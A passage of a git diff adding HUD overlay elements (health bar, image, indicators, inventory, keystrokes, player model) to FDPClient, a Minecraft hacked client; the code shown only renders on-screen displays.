+/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.RoundedUtil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.potion.PotionHealth +import java.awt.Color +import kotlin.math.pow +import kotlin.math.roundToInt + +@ElementInfo(name = "HealthRender") +class HealthRender( + x: Double = -8.0, y: Double = 57.0, scale: Float = 1F, + side: Side = Side(Side.Horizontal.MIDDLE, Side.Vertical.DOWN) +) : Element(x, y, scale, side) { + private val globalAnimSpeed = FloatValue("Health Speed", 3F, 0.1F, 5F) + var easingHealth = 0f + fun updateAnim(health: Float) { + easingHealth += ((health - easingHealth) / 2.0F.pow(10.0F - globalAnimSpeed.get())) * RenderUtils.deltaTime + } + + override fun drawElement(partialTicks: Float): Border { + updateAnim(mc.thePlayer.health) + + val health = mc.thePlayer!!.health + val maxhealth = mc.thePlayer!!.maxHealth + val exam = mc.thePlayer!!.absorptionAmount + + RoundedUtil.drawRound(0f, 0f, 120f, 15f, 3F, Color(0, 0, 0, 80)) + + // + RenderUtils.drawRoundedRect(0f, 0f, (health / maxhealth) * 120f, 15f, 3F, Color(255, 0, 0, 80).rgb) + RoundedUtil.drawRound(0f, 0f, (exam / maxhealth) * 120f, 15f, 3F, Color(253, 230, 7, 97)) + + Fonts.minecraftFont.drawString((health + exam).roundToInt().toString(),0,0, BlendUtils.getHealthColor( + health, + maxhealth + ).rgb + ) + Fonts.minecraftFont.drawString( + (((health + exam) / maxhealth) * 100).roundToInt().toString() + "%", + 0, + 8, + BlendUtils.getHealthColor( + health, + maxhealth + ).rgb + ) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + return Border(0f, 0f, 120f, 15f) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Image.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Image.kt new file mode 100644 index 0000000..a68a1c8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Image.kt @@ -0,0 +1,125 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import com.google.gson.JsonElement +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.utils.misc.MiscUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.ResourceLocation +import java.io.ByteArrayInputStream +import java.io.File +import java.nio.file.Files +import java.util.* +import javax.imageio.ImageIO + +/** + * CustomHUD image element + * + * Draw custom image + */ +@ElementInfo(name = "Image") +class Image : Element() { + + companion object { + + /** + * Create default element + */ + fun default(): Image { + val image = Image() + + image.x = 0.0 + image.y = 0.0 + + return image + } + } + + private val image: TextValue = object : TextValue("Image", "") { + + override fun fromJson(element: JsonElement) { + super.fromJson(element) + + if (get().isEmpty()) { + return + } + + setImage(get()) + } + + override fun onChanged(oldValue: String, newValue: String) { + if (get().isEmpty()) { + return + } + + setImage(get()) + } + } + + private val resourceLocation = ResourceLocation(RandomUtils.randomNumber(128)) + private var width = 64 + private var height = 64 + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border { + RenderUtils.drawImage(resourceLocation, 0, 0, width / 2, height / 2) + + return Border(0F, 0F, width / 2F, height / 2F) + } + + override fun createElement(): Boolean { + val file = MiscUtils.openFileChooser() ?: return false + + if (!file.exists()) { + MiscUtils.showErrorPopup("Error", "The file does not exist.") + return false + } + + if (file.isDirectory) { + MiscUtils.showErrorPopup("Error", "The file is a directory.") + return false + } + + setImage(file) + return true + } + + private fun setImage(image: String): Image { + try { + this.image.changeValue(image) + + val byteArrayInputStream = ByteArrayInputStream(Base64.getDecoder().decode(image)) + val bufferedImage = ImageIO.read(byteArrayInputStream) + byteArrayInputStream.close() + + width = bufferedImage.width + height = bufferedImage.height + + mc.textureManager.loadTexture(resourceLocation, DynamicTexture(bufferedImage)) + } catch (e: Exception) { + e.printStackTrace() + } + return this + } + + fun setImage(image: File): Image { + try { + setImage(Base64.getEncoder().encodeToString(Files.readAllBytes(image.toPath()))) + } catch (e: Exception) { + e.printStackTrace() + } + + return this + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Indicators.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Indicators.java new file mode 100644 index 0000000..e905bf4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Indicators.java @@ -0,0 +1,118 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements; + +import net.ccbluex.liquidbounce.features.value.IntegerValue; +import net.ccbluex.liquidbounce.ui.client.hud.element.Border; +import net.ccbluex.liquidbounce.ui.client.hud.element.Element; +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.AnimationHelper; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.timer.TimerUtils; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.MathHelper; + +import java.awt.*; + +@ElementInfo(name = "Indicators") +public class Indicators extends Element { + + public static final IntegerValue rRed = new IntegerValue("Red", 0, 0, 255); + public static final IntegerValue rGreen = new IntegerValue("Green", 0, 0, 255); + public static final IntegerValue rBlue = new IntegerValue("Blue", 0, 0, 255); + + + public final IntegerValue indx = new IntegerValue("noting",120,0,1000); + public final IntegerValue indy = new IntegerValue("noting2",80,0,1000); + + public static Color mainColor() { + return new Color(rRed.get(), rGreen.get(), rBlue.get()); + } + + private double armorBarWidth; + + private double hurttimeBarWidth; + + private double bpsBarWidth; + + private double healthBarWidth; + + public final int x2 = indx.get(); + public final int y3 = indy.get(); + + final TimerUtils timerHelper = new TimerUtils(); + + final ScaledResolution sr = new ScaledResolution(mc); + final float scaledWidth = sr.getScaledWidth(); + final float scaledHeight = sr.getScaledHeight(); + + @Override + public Border drawElement(float partialTicks) { + double prevZ = mc.thePlayer.posZ - mc.thePlayer.prevPosZ; + double prevX = mc.thePlayer.posX - mc.thePlayer.prevPosX; + double lastDist = Math.sqrt(prevX * prevX + prevZ * prevZ); + double currSpeed = lastDist * 15.3571428571D / 4; + + final float xX = scaledWidth / 2.0f -x2; + final float yX = scaledHeight / 2.0f + y3; + RenderUtils.drawNewRect(xX + 4.5, yX + 196.5 - 405, xX + 100.5, yX + 246.5 - 408, new Color(11, 11, 11, 255).getRGB()); + RenderUtils.drawNewRect(xX + 5, yX + 198 - 405, xX + 100, yX + 246 - 408, new Color(28, 28, 28, 255).getRGB()); + RenderUtils.drawNewRect(xX + 5, yX + 198 - 405, xX + 100, yX + 208 - 408, new Color(21, 19, 20, 255).getRGB()); + RenderUtils.drawNewRect(xX + 44, yX + 210 - 406, xX + 95, yX + 213.5 - 406, new Color(41, 41, 41, 255).getRGB()); + RenderUtils.drawNewRect(xX + 44, yX + 219 - 406, xX + 95, yX + 222.5 - 406, new Color(41, 41, 41, 255).getRGB()); + RenderUtils.drawNewRect(xX + 44, yX + 228 - 406, xX + 95, yX + 231.5 - 406, new Color(41, 41, 41, 255).getRGB()); + RenderUtils.drawNewRect(xX + 44, yX + 237 - 406, xX + 95, yX + 240.5 - 406, new Color(41, 41, 41, 255).getRGB()); + RenderUtils.drawNewRect(xX + 5, yX + 197 - 405, xX + 100, yX + 198 - 405, mainColor().getRGB()); + + Fonts.fontSFUI35.drawString("Indicators", xX + 37, yX + 202 - 406, -1); + + // armor + final float armorValue = mc.thePlayer.getTotalArmorValue(); + double armorPercentage = armorValue / 20; + armorPercentage = MathHelper.clamp_double(armorPercentage, 0.0, 1.0); + + final double armorWidth = 51 * armorPercentage; + this.armorBarWidth = AnimationHelper.animate(armorWidth, this.armorBarWidth, 0.0229999852180481); + RenderUtils.drawRect(xX + 44, yX + 210 - 406, xX + 44 + this.armorBarWidth, yX + 213.5 - 406, mainColor().getRGB()); + + Fonts.fontSFUI35.drawString("Armor", xX + 8, yX + 211 - 406, -1); + + // HurtTime + double hurttimePercentage = MathHelper.clamp_double(mc.thePlayer.hurtTime, 0.0, 0.6); + final double hurttimeWidth = 51.0 * hurttimePercentage; + this.hurttimeBarWidth = AnimationHelper.animate(hurttimeWidth, this.hurttimeBarWidth, 0.0429999852180481); + RenderUtils.drawRect(xX + 44, yX + 219 - 406, xX + 44 + this.hurttimeBarWidth, yX + 222.5 - 406, mainColor().getRGB()); + + Fonts.fontSFUI35.drawString("HurtTime", xX + 8, yX + 220 - 406, -1); + + // HurtTime + double bpsPercentage = MathHelper.clamp_double(currSpeed, 0.0, 1.0); + final double bpsBarWidth = 51.0 * bpsPercentage; + this.bpsBarWidth = AnimationHelper.animate(bpsBarWidth, this.bpsBarWidth, 0.0329999852180481); + + RenderUtils.drawRect(xX + 44, yX + 228 - 406, xX + 44 + this.bpsBarWidth, yX + 231.5 - 406, mainColor().getRGB()); + + Fonts.fontSFUI35.drawString("BPS", xX + 8, yX + 229 - 406, -1); + + // HurtTime + final float health = mc.thePlayer.getHealth(); + double hpPercentage = health / mc.thePlayer.getMaxHealth(); + hpPercentage = MathHelper.clamp_double(hpPercentage, 0.0, 1.0); + final double hpWidth = 51.0 * hpPercentage; + final String healthStr = String.valueOf((int) mc.thePlayer.getHealth() / 2.0f); + + if (timerHelper.hasReached(15L)) { + this.healthBarWidth = AnimationHelper.animate(hpWidth, this.healthBarWidth, 0.2029999852180481); + timerHelper.reset(); + } + + RenderUtils.drawRect(xX + 44, yX + 237 - 406, xX + 44 + this.healthBarWidth, yX + 240.5 - 406, mainColor().getRGB()); + + Fonts.fontSFUI35.drawString("HP", xX + 8, yX + 238 - 406, -1); + return new Border(xX + 5, yX + 198 - 405, xX + 100, yX + 246 - 408); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Inventory.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Inventory.kt new file mode 100644 index 0000000..17a70aa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Inventory.kt @@ -0,0 +1,96 @@ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper +import java.awt.Color + +/** + * @author liulihaocai + * InventoryHUD + */ +@ElementInfo(name = "Inventory", blur = true) +class Inventory : Element(300.0, 50.0, 1F, Side(Side.Horizontal.RIGHT, Side.Vertical.UP)) { + + private val themeValue = ListValue("Theme", arrayOf("Default", "CS:GO"/*, "Vanilla"*/), "CS:GO") + private val bgRedValue = IntegerValue("BGRed", 0, 0, 255) + private val bgGreenValue = IntegerValue("BGGreen", 0, 0, 255) + private val bgBlueValue = IntegerValue("BGBlue", 0, 0, 255) + private val bgAlphaValue = IntegerValue("BGAlpha", 150, 0, 255) + private val bdRedValue = IntegerValue("BDRed", 255, 0, 255) + private val bdGreenValue = IntegerValue("BDGreen", 255, 0, 255) + private val bdBlueValue = IntegerValue("BDBlue", 255, 0, 255) + private val fontRedValue = IntegerValue("FontRed", 255, 0, 255) + private val fontGreenValue = IntegerValue("FontGreen", 255, 0, 255) + private val fontBlueValue = IntegerValue("FontBlue", 255, 0, 255) + private val titleValue = ListValue("Title", arrayOf("Center", "Left", "Right", "None"), "Left") + private val bdRainbow = BoolValue("BDRainbow", false) + private val fontRainbow = BoolValue("FontRainbow", false) + private val fontValue = FontValue("Font", Fonts.font35) + + override fun drawElement(partialTicks: Float): Border { + val borderColor = if (bdRainbow.get()) { ColorUtils.rainbow() } else { Color(bdRedValue.get(), bdGreenValue.get(), bdBlueValue.get()) } + val fontColor = if (fontRainbow.get()) { ColorUtils.rainbow() } else { Color(fontRedValue.get(), fontGreenValue.get(), fontBlueValue.get()) } + val backgroundColor = Color(bgRedValue.get(), bgGreenValue.get(), bgBlueValue.get(), bgAlphaValue.get()) + val font = fontValue.get() + val startY = if (!titleValue.equals("None")) { -(6 + font.FONT_HEIGHT) } else { 0 }.toFloat() + + // draw rect + RenderUtils.drawRect(0F, startY, 174F, 66F, backgroundColor) + shadowRenderUtils.drawShadowWithCustomAlpha(0F, startY, 174F, 66F-startY, 255f) + + if(themeValue.equals("CS:GO")) { + RenderUtils.drawRect(0F, startY, 174F, startY + 1f, borderColor) + } else { + RenderUtils.drawBorder(0f, startY, 174f, 66f, 3f, borderColor.rgb) + RenderUtils.drawRect(0F, 0f, 174F, 1f, borderColor) + } + + val invDisplayName = mc.thePlayer.inventory.displayName.formattedText + when(titleValue.get().lowercase()) { + "center" -> font.drawCenteredString(invDisplayName, 174f / 2, -(font.FONT_HEIGHT).toFloat(), fontColor.rgb, false) + "left" -> font.drawString(invDisplayName, 6f, -(font.FONT_HEIGHT).toFloat(), fontColor.rgb, false) + "right" -> font.drawString(invDisplayName, 168f - font.getStringWidth(invDisplayName), -(font.FONT_HEIGHT).toFloat(), fontColor.rgb, false) + } + + // render item + RenderHelper.enableGUIStandardItemLighting() + renderInv(9, 17, 6, 6, font) + renderInv(18, 26, 6, 24, font) + renderInv(27, 35, 6, 42, font) + RenderHelper.disableStandardItemLighting() + GlStateManager.enableAlpha() + GlStateManager.disableBlend() + GlStateManager.disableLighting() + + return Border(0F, startY, 174F, 66F) + } + + /** + * render single line of inventory + * @param endSlot slot+9 + */ + private fun renderInv(slot: Int, endSlot: Int, x: Int, y: Int, font: FontRenderer) { + var xOffset = x + for (i in slot..endSlot) { + xOffset += 18 + val stack = mc.thePlayer.inventoryContainer.getSlot(i).stack ?: continue + + mc.renderItem.renderItemAndEffectIntoGUI(stack, xOffset - 18, y) + mc.renderItem.renderItemOverlays(font, stack, xOffset - 18, y) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/KeyStrokes.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/KeyStrokes.kt new file mode 100644 index 0000000..b888040 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/KeyStrokes.kt @@ -0,0 +1,216 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.BlurUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.utils.CPSCounter +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.util.ResourceLocation +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.settings.KeyBinding +import org.lwjgl.input.Keyboard +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ElementInfo(name = "KeyStrokes", blur = true) +class KeyStrokes : Element(5.0, 25.0, 1.5F, Side.default()) { + private val keys = ArrayList<KeyStroke>() + private val juulkeys = ArrayList<KeyStroke>() + + private val backGroundRedValue = IntegerValue("BackGroundRed", 0, 0, 255) + private val backGroundGreenValue = IntegerValue("BackGroundGreen", 0, 0, 255) + private val backGroundBlueValue = IntegerValue("BackGroundBlue", 0, 0, 255) + private val backGroundAlphaValue = IntegerValue("BackGroundAlpha", 170, 0, 255) + private val textRedValue = IntegerValue("TextRed", 255, 0, 255) + private val textGreenValue = IntegerValue("TextGreen", 255, 0, 255) + private val textBlueValue = IntegerValue("TextBlue", 255, 0, 255) + private val textAlphaValue = IntegerValue("TextAlpha", 255, 0, 255) + private val highLightPercent = FloatValue("HighLightPercent", 0.5F, 0F, 1F) + private val animSpeedValue = IntegerValue("AnimationSpeed", 300, 0, 700) + private val outline = BoolValue("Outline", false) + private val outlineBoldValue = IntegerValue("OutlineBold", 1, 0, 5) + private val outlineRainbow = BoolValue("OutLineRainbow", false) + private val fontValue = FontValue("Font", Fonts.font35) + val keyStyleValue = ListValue("Mode", arrayOf("Custom", "Jello", "Juul"), "Jello") + + init { + keys.add(KeyStroke(mc.gameSettings.keyBindForward, 16, 0, 15, 15).initKeyName()) + keys.add(KeyStroke(mc.gameSettings.keyBindLeft, 0, 16, 15, 15).initKeyName()) + keys.add(KeyStroke(mc.gameSettings.keyBindBack, 16, 16, 15, 15).initKeyName()) + keys.add(KeyStroke(mc.gameSettings.keyBindRight, 32, 16, 15, 15).initKeyName()) + keys.add(KeyStroke(mc.gameSettings.keyBindAttack, 0, 32, 23, 15).initKeyName("L")) + keys.add(KeyStroke(mc.gameSettings.keyBindUseItem, 24, 32, 23, 15).initKeyName("R")) + juulkeys.add(KeyStroke(mc.gameSettings.keyBindForward, 16, 0, 15, 15).initKeyName()) + juulkeys.add(KeyStroke(mc.gameSettings.keyBindLeft, 0, 16, 15, 15).initKeyName()) + juulkeys.add(KeyStroke(mc.gameSettings.keyBindBack, 16, 16, 15, 15).initKeyName()) + juulkeys.add(KeyStroke(mc.gameSettings.keyBindRight, 32, 16, 15, 15).initKeyName()) + } + + override fun drawElement(partialTicks: Float): Border { + val backGroundColor = Color(backGroundRedValue.get(), backGroundGreenValue.get(), backGroundBlueValue.get(), backGroundAlphaValue.get()) + val textColor = if (outlineRainbow.get()) { ColorUtils.rainbowWithAlpha(textAlphaValue.get()) } else { Color(textRedValue.get(), textGreenValue.get(), textBlueValue.get(), textAlphaValue.get()) } + + if(keyStyleValue.get().equals("Custom")) { + for (keyStroke in keys) { + keyStroke.renderCustom(animSpeedValue.get(), backGroundColor, textColor, highLightPercent.get(), outline.get(), outlineBoldValue.get(), fontValue.get(), blurValue.get(), this.renderX.toFloat(), this.renderY.toFloat(), scale) + }} + + if(keyStyleValue.get().equals("Jello")) { + for (keyStroke in keys) { keyStroke.renderJelloBlur(this.renderX.toFloat(), this.renderY.toFloat(), scale) } + RenderUtils.drawImage2(ResourceLocation("fdpclient/misc/keystrokes.png"), -3.5f, -3.5f, 54, 54) + for (keyStroke in keys) { keyStroke.renderJelloIndicator(animSpeedValue.get(), backGroundColor, textColor, highLightPercent.get(), this.renderX.toFloat(), this.renderY.toFloat(), scale) } + } + + if(keyStyleValue.get().equals("Juul")) { + for (keyStroke in juulkeys) { + keyStroke.renderJuul(animSpeedValue.get(), backGroundColor, textColor, highLightPercent.get(), outline.get(), outlineBoldValue.get(), fontValue.get(), blurValue.get(), this.renderX.toFloat(), this.renderY.toFloat(), scale) + } + val fontRenderer = fontValue.get() + RenderUtils.drawRoundedCornerRect(0f, 32f, 23f, 47f, 4f, if (mc.gameSettings.keyBindAttack.isKeyDown) { Color(65, 65, 75, 255).rgb } else { Color(95, 95, 105, 255).rgb } ) + RenderUtils.drawRoundedCornerRect(24f, 32f, 47f, 47f, 4f, if (mc.gameSettings.keyBindUseItem.isKeyDown) { Color(65, 65, 75, 255).rgb } else { Color(95, 95, 105, 255).rgb } ) + val juulLeft = if (CPSCounter.getCPS(CPSCounter.MouseButton.LEFT).toFloat() != 0f) { CPSCounter.getCPS(CPSCounter.MouseButton.LEFT).toString() + " cps" } else { "Left" } + val juulRight = if (CPSCounter.getCPS(CPSCounter.MouseButton.RIGHT).toFloat() != 0f) { CPSCounter.getCPS(CPSCounter.MouseButton.RIGHT).toString() + "CPS" } else { "Right" } + Fonts.font28.drawString(juulLeft, 15.5f - (fontRenderer.getStringWidth(juulLeft) / 2f) + 1f, 39.5f - (fontRenderer.FONT_HEIGHT / 2f) + 2f, textColor.rgb) + Fonts.font28.drawString(juulRight, 39.5f - (fontRenderer.getStringWidth(juulRight).toFloat() / 2f) + 1f, 39.5f - (fontRenderer.FONT_HEIGHT.toFloat() / 2f) + 2f, textColor.rgb) + } + + return Border(0F, 0F, 47F, 47F) + } + + override fun drawBoarderBlur(blurRadius: Float) {} +} + +class KeyStroke(val key: KeyBinding, val posX: Int, val posY: Int, val width: Int, val height: Int) { + var keyName = "KEY" + + private var lastClick = false + private val animations = ArrayList<Long>() + + fun renderCustom(speed: Int, bgColor: Color, textColor: Color, highLightPct: Float, outline: Boolean, outlineBold: Int, font: FontRenderer, blurRadius: Float, renderX: Float, renderY: Float, scale: Float) { + GL11.glPushMatrix() + GL11.glTranslatef(posX.toFloat(), posY.toFloat(), 0F) + + if (blurRadius != 0f) { + BlurUtils.draw((renderX + posX) * scale, (renderY + posY) * scale, width * scale, height * scale, blurRadius) + } + + shadowRenderUtils.drawShadowWithCustomAlpha(0F, 0F, width.toFloat(), height.toFloat(), 240f) + + val highLightColor = Color(255 - ((255 - bgColor.red) * highLightPct).toInt(), 255 - ((255 - bgColor.blue) * highLightPct).toInt(), 255 - ((255 - bgColor.green) * highLightPct).toInt()) + val clickAlpha = 255 - (255 - bgColor.alpha) * highLightPct + val centerX = width / 2 + val centerY = height / 2 + val nowTime = System.currentTimeMillis() + + val rectColor = if (lastClick && animations.isEmpty()) { ColorUtils.reAlpha(highLightColor, clickAlpha.toInt()) } else { bgColor } + RenderUtils.drawRect(0F, 0F, width.toFloat(), height.toFloat(), rectColor) + + val removeAble = ArrayList<Long>() + for (time in animations) { + val pct = (nowTime - time) / (speed.toFloat()) + if (pct> 1) { + removeAble.add(time) + continue + } + RenderUtils.drawLimitedCircle(0F, 0F, width.toFloat(), height.toFloat(), centerX, centerY, (width * 0.7F) * pct, Color(255 - ((255 - highLightColor.red) * pct).toInt(), 255 - ((255 - highLightColor.green) * pct).toInt(), 255 - ((255 - highLightColor.blue) * pct).toInt(), 255 - ((255 - clickAlpha) * pct).toInt())) + } + for (time in removeAble) { + animations.remove(time) + removeAble.remove(time) + } + if (!lastClick && key.isKeyDown) { + animations.add(nowTime) + } + + if (key.isKeyDown && animations.isEmpty()) + RenderUtils.drawRect(0F, 0F, width.toFloat(), height.toFloat(), ColorUtils.reAlpha(highLightColor, clickAlpha.toInt())) + + lastClick = key.isKeyDown + + font.drawString(keyName, centerX - (font.getStringWidth(keyName) / 2) + 1, centerY - (font.FONT_HEIGHT / 2) + 1, textColor.rgb) + if (outline) { + RenderUtils.drawRect(0F, 0F, outlineBold.toFloat(), height.toFloat(), textColor.rgb) + RenderUtils.drawRect((width - outlineBold).toFloat(), 0F, width.toFloat(), height.toFloat(), textColor.rgb) + RenderUtils.drawRect((outlineBold).toFloat(), 0F, (width - outlineBold).toFloat(), outlineBold.toFloat(), textColor.rgb) + RenderUtils.drawRect((outlineBold).toFloat(), (height - outlineBold).toFloat(), (width - outlineBold).toFloat(), height.toFloat(), textColor.rgb) + } + + GL11.glPopMatrix() + + } + + fun renderJuul(speed: Int, bgColor: Color, textColor: Color, highLightPct: Float, outline: Boolean, outlineBold: Int, font: FontRenderer, blurRadius: Float, renderX: Float, renderY: Float, scale: Float) { + GL11.glPushMatrix() + GL11.glTranslatef(posX.toFloat(), posY.toFloat(), 0F) + val nowTime = System.currentTimeMillis() + val rectColor = if (lastClick) { + Color(65, 65, 65, 255) + } else { + Color(95, 95, 95, 255) + } + RenderUtils.drawRoundedCornerRect(0F, 0F, width.toFloat(), height.toFloat(), 3f, rectColor.rgb) + lastClick = key.isKeyDown + + Fonts.font28.drawString(keyName, width / 2 - (font.getStringWidth(keyName) / 2) + 1, height / 2 - (font.FONT_HEIGHT / 2) + 2, textColor.rgb) + GL11.glPopMatrix() + } + + fun renderJelloBlur(renderX: Float, renderY: Float, scale: Float) { + GL11.glPushMatrix() + GL11.glTranslatef(posX.toFloat(), posY.toFloat(), 0F) + BlurUtils.draw((renderX + posX) * scale, (renderY + posY) * scale, width * scale, height * scale, 10f) + GL11.glPopMatrix() + } + + fun renderJelloIndicator(speed: Int, bgColor: Color, textColor: Color, highLightPct: Float, renderX: Float, renderY: Float, scale: Float) { + GL11.glPushMatrix() + GL11.glTranslatef(posX.toFloat(), posY.toFloat(), 0F) + + val highLightColor = Color(255 - ((255 - bgColor.red) * highLightPct).toInt(), 255 - ((255 - bgColor.blue) * highLightPct).toInt(), 255 - ((255 - bgColor.green) * highLightPct).toInt()) + val clickAlpha = 255 - (255 - bgColor.alpha) * highLightPct + val centerX = width / 2 + val centerY = height / 2 + val nowTime = System.currentTimeMillis() + val rectColor = if (lastClick && animations.isEmpty()) { ColorUtils.reAlpha(highLightColor, clickAlpha.toInt()) } else { Color(0f,0f,0f,0f) } + RenderUtils.drawRect(0F, 0F, width.toFloat(), height.toFloat(), rectColor) + + val removeAble = ArrayList<Long>() + for (time in animations) { + val pct = (nowTime - time) / (speed.toFloat()) + if (pct> 1) { + removeAble.add(time) + continue + } + RenderUtils.drawLimitedCircle(0F, 0F, width.toFloat(), height.toFloat(), centerX, centerY, (width * 0.7F) * pct, Color(255 - ((255 - highLightColor.red) * pct).toInt(), 255 - ((255 - highLightColor.green) * pct).toInt(), 255 - ((255 - highLightColor.blue) * pct).toInt(), 255 - ((255 - clickAlpha) * pct).toInt())) + } + for (time in removeAble) { + animations.remove(time) + } + if (!lastClick && key.isKeyDown) { + animations.add(nowTime) + } + lastClick = key.isKeyDown + GL11.glPopMatrix() + } + + fun initKeyName(): KeyStroke { + keyName = Keyboard.getKeyName(key.keyCode) + return this + } + + fun initKeyName(name: String): KeyStroke { + keyName = name + return this + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Model.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Model.kt new file mode 100644 index 0000000..8996c2f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Model.kt @@ -0,0 +1,134 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.renderer.RenderHelper +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import kotlin.math.abs +import kotlin.math.atan + +/** + * CustomHUD Model element + * + * Draw mini figure of your character to the HUD + */ +@ElementInfo(name = "Model") +class Model(x: Double = 40.0, y: Double = 100.0) : Element(x, y) { + + private val yawMode = ListValue("Yaw", arrayOf("Player", "Animation", "Custom"), "Animation") + private val customYaw = FloatValue("CustomYaw", 0F, -180F, 180F) + + private val pitchMode = ListValue("Pitch", arrayOf("Player", "Custom"), "Player") + private val customPitch = FloatValue("CustomPitch", 0F, -90F, 90F) + + private var rotate = 0F + private var rotateDirection = false + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border { + val yaw = when (yawMode.get().lowercase()) { + "player" -> mc.thePlayer.rotationYaw + "animation" -> { + val delta = RenderUtils.deltaTime + + if (rotateDirection) { + if (rotate <= 70F) { + rotate += 0.12F * delta + } else { + rotateDirection = false + rotate = 70F + } + } else { + if (rotate >= -70F) { + rotate -= 0.12F * delta + } else { + rotateDirection = true + rotate = -70F + } + } + + rotate + } + "custom" -> customYaw.get() + else -> 0F + } + + var pitch = when (pitchMode.get().lowercase()) { + "player" -> mc.thePlayer.rotationPitch + "custom" -> customPitch.get() + else -> 0F + } 